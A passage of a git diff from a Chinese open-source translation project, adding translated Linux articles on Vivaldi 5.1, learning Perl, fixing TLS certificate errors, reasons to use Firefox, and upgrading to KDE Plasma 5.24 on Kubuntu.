https://news.itsfoss.com/kde-plasma-5-23-release/ +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/notifications-kde-plasma-5-24-beta-1.png?w=433&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kde-plasma-5-24-overview.png?w=1352&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kde-plasma-5-24-overview-option.png?w=1037&ssl=1 +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/cant-remove-plasma-1.png?w=1022&ssl=1 +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/flatpakrepos.png?w=850&ssl=1 +[11]: https://kde.org/announcements/changelogs/plasma/5/5.23.5-5.24.0/ +[12]: https://neon.kde.org/download diff --git a/published/202202/20220209 Vivaldi 5.1 Introduces Horizontal Scrollable Tabs and a New Reading List.md b/published/202202/20220209 Vivaldi 5.1 Introduces Horizontal Scrollable Tabs and a New Reading List.md new file mode 100644 index 0000000000..f724873355 --- /dev/null +++ b/published/202202/20220209 Vivaldi 5.1 Introduces Horizontal Scrollable Tabs and a New Reading List.md @@ -0,0 +1,111 @@ +[#]: subject: "Vivaldi 5.1 Introduces Horizontal Scrollable Tabs and a New Reading List" +[#]: via: "https://news.itsfoss.com/vivaldi-5-1-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "imgradeone" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14262-1.html" + +Vivaldi 5.1 发布:引入可横向滚动的标签和在读清单 +====== + +> 对于那些涉足多款浏览器的人来说,Vivaldi 5.1 版本更新极富趣味,且更加实用。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/vivaldi-5-1.png?w=1200&ssl=1) + +Vivaldi 对于 Linux 用户来说是个不错的选择。他们将 Linux 平台作为其官方主力维护平台之一,这一点弥足珍贵。 + +在 [Vivaldi 5.0 版本][1] 中,它已经成为许多 Linux 用户喜爱且极具功能性的 Chromium 内核浏览器之选。如今,Vivaldi 5.1 也终于问世! + +作为一款凭借强大的多任务管理功能而著名的浏览器,这一新版本想必是干货满满。 + +接下来就一起深入探索吧! + +### Vivaldi 5.1 的新功能 + +[![][2]](https://youtu.be/I2PhNDzuTSY) + +还是提醒一下,Vivaldi 是一款几乎开源的浏览器,它的源代码是开放给所有用户的,但用户界面并不开源。 + +和之前的 5.0 版本类似,该版本带来了一些关键性的改进,包括: + + * 可滚动的标签栏 + * 全新的在读清单 + * 新的开始页面快速设置面板 + +#### 可滚动的标签栏 + +[![][3]](https://youtu.be/UeFcUWRpX-0) + +在 Vivaldi 5.1 中,你不必再沉没于狭窄而海量的标签之中。你可以直接滚动标签栏,无需缩小标签。 + +考虑到大多数人喜欢把标签栏放到顶部或者底部,这一新功能可以让你直接通过滚轮或者箭头键来寻找标签。 + +我敢相信,许多人听到这个功能能够与标签堆叠功能整合并进一步提高标签查找效率后,一定会很高兴的。是的,两级标签栏均可以使用标签滚动功能。 + +这一新功能使 Vivaldi 的横向标签栏与垂直标签栏有了更高的一致性,后者已经支持滚动许久。 + +#### 在读列表 + +![][4] + +当阅读新闻这件事开始成为日常事务之后,设置一个在读列表会很有用。在此之前,这一功能是靠浏览器拓展实现的,而如今它已被整合到浏览器当中,大幅增强了便利性和实用性。 + +这一引入看上去更像是 Vivaldi 推动为其浏览器增添新服务功能的一大延续,不仅取代了一些常见拓展,更试图与 Firefox 的 Pocket 等同类平台进行竞争。 + +你可以直接通过键盘快捷键和鼠标手势来访问相应页面,或添加页面到在读列表中。 + +#### 开始页面的快速设置 + +![][5] + +开始页面一直都是网页浏览的关键节点,用户多年来也一直在定制它。不幸的是,用户往往要深入到设置页面去寻找自己需要的选项。 + +如今,得益于 Vivaldi 新增的开始页面快速设置面板,这种情况将成为过去式。现在,所有与开始页面有关的选项都在同一位置,大幅改进了用户体验。 + +你可以通过开始页面右上角的齿轮图标查看快速设置。 + +#### 其他变更 + +除了上述改进之外,还有许多 bug 修复,以及针对翻译、邮件、日历和订阅阅读器功能的细节改进。 + +你可以阅读 [版本发布公告][6] 来了解更多技术性改进。 + +Android 版本同样也新增了一些新功能,包括修改标签宽度和选择更多强调色。你可以在这篇 [博文][7] 中了解详情。 + +### 获取 Vivaldi 5.1 + +如果这些新功能很合你的胃口,你可以前往 Vivaldi 官方网站下载 Vivaldi 5.1。如果你正在使用 Debian、Ubuntu 或者 Fedora,那么很简单,直接从 Vivaldi 官网下载相应软件包就可以了。 + +Vivaldi 同样也提供针对 ARM 架构的 32 位及 64 位软件包。 + +- [下载 Vivaldi][8] + +对于其他发行版,很不幸,你只能等待 Vivaldi 5.1 降临到发行版的相应仓库中,毕竟它可没有 Flatpak 和 Snap 版本。 + +总的来说,我认为 Vivaldi 5.1 是一次巨大改进,足以让我迁移主力。 + +你对 Vivaldi 5.1 的更新有什么看法吗?欢迎在评论区留言,让我了解你的想法! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/vivaldi-5-1-release/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[imgradeone](https://github.com/imgradeone) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://linux.cn/article-14044-1.html +[2]: https://i0.wp.com/i.ytimg.com/vi/I2PhNDzuTSY/hqdefault.jpg?w=780&ssl=1 +[3]: https://i0.wp.com/i.ytimg.com/vi/UeFcUWRpX-0/hqdefault.jpg?w=780&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/Vivaldi-5.1-reading-list.png?resize=1568%2C882&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/Vivaldi-5.1-quick-settings.png?w=720&ssl=1 +[6]: https://vivaldi.com/blog/vivaldi-5-1-gets-scrollable-tabs-reading-list/ +[7]: https://vivaldi.com/blog/vivaldi-5-1-on-android/ +[8]: https://vivaldi.com/download/ diff --git a/published/202202/20220210 Learn Perl in 2022.md b/published/202202/20220210 Learn Perl in 2022.md new file mode 100644 index 0000000000..edb1a47a9c --- /dev/null +++ b/published/202202/20220210 Learn Perl in 2022.md @@ -0,0 +1,217 @@ +[#]: subject: "Learn Perl in 2022" +[#]: via: "https://opensource.com/article/22/2/perl-cheat-sheet" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14296-1.html" + +Perl 语言基础入门 +====== + +> 下载这份编程速查表,开始学习 Perl 的力量。 + +![](https://img.linux.net.cn/data/attachment/album/202202/22/171233dlrpnjj09jz0tz0n.jpg) + +Perl 发布于 1988 年初,是一种后现代的编程语言,它通常被认为是一种脚本语言,但它也能进行面向对象的编程。它是一种成熟的语言,拥有 [数以万计的库][2]、GUI 框架,它有一种叫做 Raku 的衍生语言(即 Perl 6),以及一个活跃而热情的社区。它的开发者以其灵活性为荣。根据它的创造者 Larry Wall 的说法,Perl 并不对它的用户强加任何特定的编程风格,而且有不止一种方法来完成大多数事情。 + +Perl 非常健壮,它曾经被广泛使用,这使它成为新的程序员可以尝试的伟大语言。 + +- [下载 Perl 速查表][3] + +### Perl 基础知识 + +在 Linux 和 macOS 上,你已经安装了 Perl。在 Windows 上,请从 [Perl 网站][4] 下载并安装它。 + +#### Perl 表达式 + +Perl 源代码的基本单位是 _表达式_,它是任何能返回一个 _值_ 的东西。 + +例如,`1` 是一个表达式,它返回 `1` 的值。表达式 `2` 返回 `2` 的值,而 `a` 返回字母 `a`。 + +表达式可以更复杂。表达式 `$a + $b` 包含变量(数据的占位符)和加号(`+`),它是一个数学运算符。 + +#### Perl 语句 + +Perl 语句是由表达式组成的。每个语句都以分号(`;`)结束。 + +比如说: + +``` +$c = $a + $b; +``` + +要尝试运行你自己的 Perl 语句,请打开终端并输入: + +``` +$ perl -e 'print ("Hello Perl\n");' +``` + +#### Perl 语句块 + +Perl 语句块可以用大括号(`{ }`)组合起来。块是一种有用的组织工具,但它们也为那些你可能只需要在程序的一小部分使用的数据提供了 _范围_。Python 用空白定义范围,LISP 用小括号,而 C 和 Java 用大括号。 + +#### 变量 + +变量是数据的占位符。人类每天都在使用变量而没有意识到它。例如,“它”这个词可以指代任何名词,所以我们把它作为一个方便的占位符。“找到我的手机并把它拿给我”实际上是指“找到我的手机并把我的手机拿给我。” + +对于计算机来说,变量不是一种便利,而是一种必需品。变量是计算机识别和跟踪数据的方式。 + +在 Perl 中,你通过声明一个变量名称和它的内容来创建变量。 + +在 Perl 中,变量名称前面总是有一个美元符号(`$`)。 + +这些简单的语句创建了一个包含 `"Hello"` 和 `"Perl"` 字符串的变量 `$var`,然后将该变量的内容打印到终端: + +``` +$ perl -e '$var = "hello perl"; print ("$var\n");' +``` + +#### 流程控制 + +大多数程序需要做出决定,这些选择由条件语句和循环来定义和控制。`if` 语句是最直观的一种。Perl 可以测试一个特定的条件,然后 Perl 根据这个条件决定程序如何进行。其语法类似于 C 或 Java: + +``` +my $var = 1; + +if ($var == 1) { + print("Hello Perl\n"); +} +elsif ($var == 0){ + print("1 not found"); +} +else { + print("Good-bye"); +} +``` + +Perl 也有一个简短的 `if` 语句的形式: + +``` +$var = 1; + +print("Hello Perl\n") if ($var == 1); +``` + +#### 函数和子程序 + +尽可能多地重复使用代码是一种有益的编程习惯。这种做法可以减少错误(或将错误合并到一个代码块中,因此你只需修复一次),使你的程序更容易维护,简化你的程序逻辑,并使其他开发者更容易理解它。 + +在 Perl 中,你可以创建一个 _子程序_,它接受输入(存储在一个特殊的数组变量 `@_` 中)并可能返回一个输出。你可以使用关键字 `sub` 来创建一个子程序,后面跟一个你选择的子程序名称,然后是代码块: + +``` +#!/usr/bin/env perl + +use strict; +use warnings; + +sub sum { + my $total = 0; + + for my $i(@_){ + $total += $i; + } + + return($total); +} + +print &sum(1,2), "\n"; +``` + +当然,Perl 有许多子程序,你不必自己去创建。有些是内置于 Perl 中的,而社区库则提供了其他的。 + +### 用 Perl 编写脚本 + +Perl 可以被编译,也可以作为一种解释型的脚本语言使用。后者是刚入门时最简单的选择,特别是如果你已经熟悉了 Python 或 [shell 脚本][7]。 + +这里有一个用 Perl 编写的简单的掷骰子脚本。把它读一遍,看看你是否能跟上它。 + +``` +#!/usr/bin/env perl + +use warnings; +use strict; +use utf8; +binmode STDOUT, ":encoding(UTF-8)"; +binmode STDERR, ":encoding(UTF-8)"; + +my $sides = shift or + die "\nYou must provide a number of sides for the dice.\n"; + +sub roller { + my ($s) = @_; + + my $roll = int(rand($s)); + print $roll+1, "\n"; +} + +roller($sides); +``` + +第一行告诉你的 [POSIX][13] 终端要使用什么可执行文件来运行该脚本。 + +接下来的五行是模板式的包含内容和设置。`use warnings` 的设置告诉 Perl 检查错误,并在终端对它发现的问题发出警告。`use strict` 设置告诉 Perl 在发现错误时不要运行脚本。 + +这两个设置都可以帮助你在代码中的错误导致问题之前发现它们,所以通常最好在你的脚本中激活它们。 + +脚本的主要部分开始于对脚本从终端启动时提供给它的 [参数][14] 进行分析。在这种情况下,预期的参数是一个虚拟骰子的所需的面的数量。Perl 将其视为一个堆栈,并使用 `shift` 函数将其分配给变量 `$sides`。当没有提供参数时,`die` 函数会被触发。 + +用 `sub` 关键字创建的 `roller` 子程序(或函数),使用 Perl 的 `rand` 函数生成一个伪随机数,最大不超过参数的数字。这意味着在这个程序中,一个 6 面的骰子不可能掷出 6,但它可以掷出 0。这对计算机和程序员来说是没有问题的,但对大多数用户来说,这是令人困惑的,所以它可以被视为一个 bug。为了在这个 bug 成为问题之前解决它,下一行在随机数上加 1,并将结果作为掷骰子的结果打印出来。 + +当引用传递给子程序的参数时,你引用的是特殊变量 `@_`,它是一个数组,包含了函数调用时括号内的所有内容。然而,当从数组中提取一个值时,数据被转换成一个标量(例子中的 `$s` 变量)。 + +子程序在被调用之前不会运行,所以脚本的最后一行调用了自定义的 `roller` 函数,将命令的参数作为函数的参数。 + +将该文件保存为 `dice.pl`,并标记为可执行: + +``` +$ chmod +x dice.pl +``` + +最后,尝试运行它,为它提供一个最大的数字,从中选择其随机数: + +``` +$ ./dice.pl 20 +1 +$ ./dice.lisp 20 +7 +$ ./dice.lisp 20 +20 +``` + +没问题! + +### Perl 速查表 + +Perl 是一种有趣而强大的语言。尽管自从 Perl 成为默认的脚本语言后,Python、Ruby 和 Go 等新兴语言引起了许多人的注意,但 Perl 的功能并不弱。事实上,它比以往任何时候都要好,而且前途光明。 + +下次你想找一种更灵活的语言,并有简单的交付方式时,不妨试试 Perl,并[下载这个速查表][3]! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/perl-cheat-sheet + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (Woman sitting in front of her computer) +[2]: http://cpan.org/ +[3]: https://opensource.com/downloads/perl-cheat-sheet +[4]: https://www.perl.org/get.html +[5]: http://perldoc.perl.org/functions/print.html +[6]: http://perldoc.perl.org/functions/return.html +[7]: https://opensource.com/article/20/4/bash-programming-guide +[8]: http://perldoc.perl.org/functions/binmode.html +[9]: http://perldoc.perl.org/functions/shift.html +[10]: http://perldoc.perl.org/functions/die.html +[11]: http://perldoc.perl.org/functions/int.html +[12]: http://perldoc.perl.org/functions/rand.html +[13]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains +[14]: https://opensource.com/article/21/8/linux-terminal diff --git a/published/202202/20220210 Troubleshooting -Unacceptable TLS certificate- Error in Linux.md b/published/202202/20220210 Troubleshooting -Unacceptable TLS certificate- Error in Linux.md new file mode 100644 index 0000000000..692e0979b5 --- /dev/null +++ b/published/202202/20220210 Troubleshooting -Unacceptable TLS certificate- Error in Linux.md @@ -0,0 +1,101 @@ +[#]: subject: "Troubleshooting “Unacceptable TLS certificate” Error in Linux" +[#]: via: "https://itsfoss.com/unacceptable-tls-certificate-error-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14288-1.html" + +在 Linux 中解决 “Unacceptable TLS certificate” 的问题 +====== + +当涉及到 SSL/TLS 证书时,你可能会遇到各种问题,有些与浏览器有关,有些则是网站后台的问题。 + +其中一个错误是 Linux 中的 “Unacceptable TLS certificate”。 + +不幸的是,对此没有“一劳永逸”的答案。然而,有一些潜在的解决方案,你可以尝试,在此,我打算为你强调这些。 + +### 你什么时候会遇到这个 TLS 证书问题? + +![][1] + +在我的例子中,我是在通过终端添加 Flathub 仓库时注意到这个问题的,这个步骤可以让你在 [设置 Flatpak][2] 时访问大量的 Flatpak 集合。 + +然而,在安装 Flatpak 应用或通过终端使用来自第三方仓库的 Flatpak 参考文件时,你也可能会遇到这个错误。 + +一些用户在 Linux 上使用他们组织推荐的 VPN 服务工作时注意到这个问题。 + +那么,如何解决这个问题呢?为什么这是一个问题? + +嗯,从技术上讲,这是两件事中的一个: + + * 你的系统不接受该证书(并说它是无效的)。 + * 该证书与用户连接的域不匹配。 + +如果是第二种情况,你得联系网站的管理员,从他们那里解决这个问题。 + +但是,如果是第一种情况,你有几种方法来处理它。 + +### 1、在使用 Flatpak 或添加 GNOME 在线账户时修复 “Unacceptable TLS certificate” + +如果你试图添加 Flathub 远程或一个新的 Flatpak 应用,并在终端中注意到这个错误,你可以简单地输入: + +``` +sudo apt install --reinstall ca-certificates +``` + +这应该会重新安装受信任的 CA 证书,以防止列表中出现某种问题。 + +![][3] + +在我的例子中,当试图添加 Flathub 仓库时,我遇到了错误,通过在终端输入上述命令解决了这个问题。 + +所以,我认为任何与 Flatpak 有关的 TLS 证书问题都可以用这个方法解决。 + +### 2、在使用工作 VPN 时修复 “Unacceptable TLS certificate” + +如果你使用你的组织的 VPN 来访问与工作有关的材料,你可能要把证书添加到你的 Linux 发行版中的可信 CA 列表中。 + +请注意,你需要 VPN 服务或你组织的管理员分享根证书的 .CRT 版本,才能开始使用。 + +接下来,你需要进入 `/usr/local/share/ca-certificates` 目录。 + +你可以下面创建一个目录,并使用任何名称来标识你组织的证书。然后,将 .CRT 文件添加到该目录。 + +例如,它是 `/usr/local/share/ca-certificates/organization/xyz.crt`。 + +请注意,你需要有 root 权限来添加证书或在 `ca-certificates` 目录下创建目录。 + +当你添加了必要的证书,你所要做的就是输入以下命令更新证书支持列表: + +``` +sudo update-ca-certificates +``` + +而且,每当你试图连接到你公司的 VPN 时,你的系统应将该证书视为有效。 + +### 总结 + +不可接受的 TLS 证书并不是一个常见的错误,但你可以在各种使用情况下发现它,比如连接到 GNOME 在线账户。 + +如果上述两种方法都不能解决这个错误,那么你所连接的域/服务有可能存在配置错误。在这种情况下,你将不得不联系他们来解决这个问题。 + +你是否遇到过这个错误?你是如何解决的?你是否知道这个问题的其他解决方案(有可能是容易操作的)?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/unacceptable-tls-certificate-error-linux/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/unacceptable-tls-certificate.png?resize=800%2C450&ssl=1 +[2]: https://itsfoss.com/flatpak-guide/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/tls-certificate-troubleshoot.png?resize=800%2C506&ssl=1 diff --git a/published/202202/20220212 8 Reasons Why I Keep Coming Back to Firefox.md b/published/202202/20220212 8 Reasons Why I Keep Coming Back to Firefox.md new file mode 100644 index 0000000000..0ca7a51dfe --- /dev/null +++ b/published/202202/20220212 8 Reasons Why I Keep Coming Back to Firefox.md @@ -0,0 +1,171 @@ +[#]: subject: "8 Reasons Why I Keep Coming Back to Firefox" +[#]: via: "https://news.itsfoss.com/why-mozilla-firefox/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14308-1.html" + +为什么我又回到火狐浏览器 +====== + +> 火狐可以说是最好的开源网页浏览器。但是,是什么让它这么好?它对每个人来说都是一个可行的选择吗?让我来分享我的见解。 + +![](https://img.linux.net.cn/data/attachment/album/202202/26/193517szbff3zjlg305jbp.jpg) + +火狐是一个神奇的开源网页浏览器。它预装在大多数 Linux 发行版中,无需多想,可以认为它是 Linux 用户和隐私爱好者的一个流行选择。 + +然而,没有什么是完美的。 + +无论是火狐、Chrome、Brave,还是任何一个 [可用于 Linux 的最佳浏览器][1],每个选择都有权衡。 + +我使用火狐浏览器已经很多年了,但最近我因为标签管理功能转而使用了 [Vivaldi][2],然后也尝试了一下 Brave。 + +但是,在这段时间里,我发现自己一再回到火狐浏览器,并一直想回来,虽然我对另一个网页浏览器也很满意(就当是一种回忆吧)。 + +那么,为什么我总是回到火狐浏览器?为什么我认为火狐是适合每个人的理想网页浏览器? + +在这里,让我强调一些要点: + +### 1、以隐私为重点的解决方案 + +![][3] + +如今,每个网页浏览器(当然,除了谷歌浏览器)都旨在提供面向隐私的功能。 + +使用 Brave,甚至使用 Vivaldi,你有各种各样的选择。 + +请注意,这不是一个功能比较,而是基于我喜欢、注意到的东西。 + +Brave 可以让你自定义跟踪保护,但它不提供预设配置。你得自己调整拦截保护措施以获得你想要的体验。但是,火狐浏览器可以让你轻松地选择“标准”或“严格”保护模式,而不需要定制个人设置。 + +说到 Vivaldi,它提供了快速切换跟踪保护类型的能力,但它没有火狐那么好。此外,你没有诸如跨站 Cookie 阻止、以及针对加密矿工、指纹探针的保护。 + +除了这些细微的差别,火狐还不断为其隐私保护产品增加新的功能。 + +例如,HTTPS-Only 模式让你无需任何扩展/插件,就可以确保你连接到一个页面的 HTTPS 版本。 + +### 2、简化的用户界面 + +![][4] + +我知道我抱怨过很多次火狐不断改造其用户界面。 + +没错,这不是很令人愉快。 + +但是,每当我习惯了它,我发现它是一个简单而有效的用户界面。我更喜欢启用它的深色主题。 + +最近的更新使它更容易访问选项、附加组件、主题等。 + +就个人而言,感觉它比其他浏览器更好。 + +希望他们不要继续他们的传统,每次重大升级都破坏用户体验。 + +### 3、开源 + +火狐是一个开源的网页浏览器。你已经知道了,但这正是它比 Chrome 等专有选项更出色的原因。 + +火狐浏览器是我几年前离开谷歌浏览器后尝试的第一个开源网页浏览器。 + +### 4、火狐多账户容器 + +![][5] + +[火狐多账户容器][6] 是火狐的主要亮点之一。 + +如果你想在不损害隐私的情况下充分提升你的浏览体验,它是 [最佳火狐功能][7] 之一。 + +你需要安装 [火狐多账户插件][8] 才能开始使用它。 + +该功能可以让你打开相互隔离的几个浏览标签。例如,你可以使用该功能保持登录到同一服务的两个不同账户。你可以将它们分成个人、工作、银行等等几个分类。 + +你可以选择创建一个新的容器或将你当前的标签作为一个容器打开。也可以自动设置网站在新的容器中打开。 + +为了更上一层楼,火狐最近增加了为容器启用 Mozilla VPN 的功能。这样,你就可以单独保障你的浏览过程,而不需要为其余的非容器标签启用 VPN。 + +虽然这可能不适合每个人,但这是一个有用的功能。 + +### 5、集成的服务 + +![][9] + +拥有有助于提高用户体验的内置功能和服务总是很方便。 + +使用火狐浏览器,你可以快速访问各种有用的工具。 + +这些工具包括: + + * 地址栏中的“保存到 Pocket”按钮,可以快速添加一个网页/链接,以便以后阅读。 + * Mozilla 的 [VPN 服务][10]。 + * [Firefox Relay][11] 以保护你的原始电子邮件地址。 + * [Firefox Monitor][12] 以通知你数据泄露的情况。 + * 如果你使用的话,还有密码管理器。 + +### 6、积极开发 + +随着每一次火狐浏览器的发布,你会发现一些有价值的升级和改进。 + +当然,你对每个主要的网页浏览器都可以抱有同样的期望。但是,如果你使用的是一个不太知名的浏览器的功能,你可能想留意一下更新/开发的频率。 + +为了获得安全的体验,尽快进行安全修复、错误修复和其他改进是很重要的。 + +### 7、运作良好! + +![][13] + +就我而言,我更喜欢方便,而不是最新和最大的。 + +尽管火狐浏览器设法提供一些行业首创的功能,它仍然是一个方便的选择。 + +拥有一个同步你所有浏览数据和集成的服务的火狐账户是很有好处的。你可以轻松地在任何其他设备上登录该账户,无缝地继续你的工作。 + +使用 Brave,你确实也有同步功能,但它的工作方式不一样。它要求你必须有主设备在场,才能成功地将数据同步到另一个设备上(你要扫描二维码)。另外,你也可以选择生成同步代码,并将其随身携带,以便与新设备同步。但是,我觉得基于账户的同步更方便。 + +虽然 Vivaldi 提供了账户同步功能,但它在我的多显示器环境中并不工作,按钮变得没有反应,而且在 [Vivaldi 5.1 版][14] 之后,我也没能成功同步。 + +所以,火狐成为一个轻松便捷的选择。 + +### 8、打破浏览器垄断 + +去年,我们报道了 [火狐浏览器失去了近 5000 万用户][15],这让那些一直喜欢不基于 Chromium 的可靠产品的用户非常担心。 + +从技术上讲,我们确实有火狐的复刻和其他一些 [开源浏览器][16]。但是,我们需要火狐保持其地位,以便有一个可行的 Chromium 替代品。 + +### 总结 + +我应该提到,我坚持使用火狐是因为它适合我的使用情况和工作流程。 + +你不需要相信我的话。但是,至少,如果你从来没有考虑过这些使用火狐的好处,你可能该试一试! + +你对火狐有什么看法?可以告诉我们你最喜欢的浏览器吗?让我们在下面的评论中讨论。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/why-mozilla-firefox/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[2]: https://itsfoss.com/install-vivaldi-ubuntu-linux/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/firefox-protection-setting.jpg?resize=1568%2C1334&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/mozilla-firefox-screenshot.png?w=1200&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/firefox-containers-new.png?w=1030&ssl=1 +[6]: https://itsfoss.com/firefox-containers/ +[7]: https://itsfoss.com/firefox-useful-features/ +[8]: https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/ +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/firefox-relay-alias.png?resize=1568%2C1523&ssl=1 +[10]: https://www.mozilla.org/en-US/products/vpn/ +[11]: https://relay.firefox.com +[12]: https://monitor.firefox.com/ +[13]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/firefox-just-works-illustration.png?w=1000&ssl=1 +[14]: https://news.itsfoss.com/vivaldi-5-1-release/ +[15]: https://news.itsfoss.com/firefox-decline/ +[16]: https://itsfoss.com/open-source-browsers-linux/ diff --git a/published/202202/20220212 How to Get KDE Plasma 5.24 in Kubuntu 21.10 Impish Indri.md b/published/202202/20220212 How to Get KDE Plasma 5.24 in Kubuntu 21.10 Impish Indri.md new file mode 100644 index 0000000000..588eccbf6a --- /dev/null +++ b/published/202202/20220212 How to Get KDE Plasma 5.24 in Kubuntu 21.10 Impish Indri.md @@ -0,0 +1,131 @@ +[#]: subject: "How to Get KDE Plasma 5.24 in Kubuntu 21.10 Impish Indri" +[#]: via: "https://www.debugpoint.com/2022/02/kde-plasma-5-24-kubuntu-21-10/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14279-1.html" + +如何在 Kubuntu 21.10 中升级 KDE Plasma 5.24 +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/17/093727qw3js653lzksscfw.jpg) + +> KDE 开发人员启用了有名的 Backports PPA,以便你在 Kubuntu 21.10 中安装/升级到 KDE Plasma 5.24。 以下是方法。 + +KDE Plasma 5.24 最近的 [发布][1] 带来了令人兴奋的变化。在这个新版本中,你会得到一个全新的概览页面,它很像 GNOME 的概览。此外,还有崭新的默认 Breeze 主题、性能提升、通知外观的调整等。在我们的 [官方综述页面][2] 可以阅读更多关于这些功能的信息。 + +如果你很匆忙,没有时间阅读文章,这里有一组简短的命令,可以做到这些。😃 + +``` +sudo add-apt-repository ppa:kubuntu-ppa/backports +sudo apt update +sudo apt full-upgrade +``` + +如果你运行 Kubuntu 21.10 Impish Indri,你不会马上得到这个更新。因为 Kubuntu 21.10 Impish Indri 目前采用 KDE Plasma 5.22.5 作为稳定版本。尽管 Kubuntu 21.10 计划在 2022 年 7 月结束生命,但你仍然可以通过 Backports PPA 安装 KDE Plasma 5.24。 + +然而,请注意,你将在 2022 年 4 月的 Kubuntu 22.04 LTS 中得到 KDE Plasma 5.24,这要比 Kubuntu 21.10 的寿命结束早得多。 + +### 如何在 Kubuntu 21.10 中安装 KDE Plasma 5.24 + +下面是你如何将 Kubuntu 21.10 中现有的 KDE Plasma 更新到最新版本。 + +#### 如何在 Kubuntu 21.10 中安装 KDE Plasma 5.24 + +如果你习惯使用“发现Discover” 感到满意,请添加 Backports PPA `ppa:kubuntu-ppa/backports` 作为软件源并点击更新。一旦检索到更新的软件包信息,就可以安装。 + +我建议使用以下终端方法,以获得更快和无错误的安装。 + +打开 Konsole,运行以下命令来添加 backports PPA。如果你喜欢,你可以验证你运行的 Plasma 是什么版本。 + +``` +sudo add-apt-repository ppa:kubuntu-ppa/backports +``` + +![Add the PPA][7] + +现在,刷新软件包列表并验证最新的 5.24 软件包是否可供升级。 + +![Check the latest KDE Plasma 5.24 packages before upgrading][8] + +现在运行最后的命令来启动升级。 + +``` +sudo apt full-upgrade +``` + +上面的命令会下载大约 270MB 以上的软件包。升级过程大约需要 10 分钟。命令完成后,重启你的系统。 + +而你应该通过 Kubuntu 21.10 Impish Indri 获得了全新的 KDE Plasma 5.24。 + +![KDE Plasma 5.24 in Kubuntu 21.10][9] + +#### 如何在 Ubuntu 21.10 中与 GNOME 一起安装 KDE Plasma 5.24 + +如果你正在运行带有默认 GNOME 的 Ubuntu 21.10 Impish Indri,你也可以体验全新的 KDE Plasma 桌面,只需对上述命令稍作修改即可。 + +打开一个终端,依次运行下面的命令。 + +``` +sudo add-apt-repository ppa:kubuntu-ppa/backpots +sudo apt update +sudo apt install kubuntu-desktop +``` + +上述命令完成后,重启系统。在登录页面上,选择 KDE Plasma 作为桌面环境。然后你就可以开始了。 + +这将与 GNOME 桌面一起安装 KDE Plasma 5.24。 + +#### 我可以在 Ubuntu 20.04 LTS 中安装 KDE Plasma 5.24 吗? + +Ubuntu 20.04 LTS 版有早期的 KDE Plasma 5.18、KDE Framework 5.68、KDE Applications 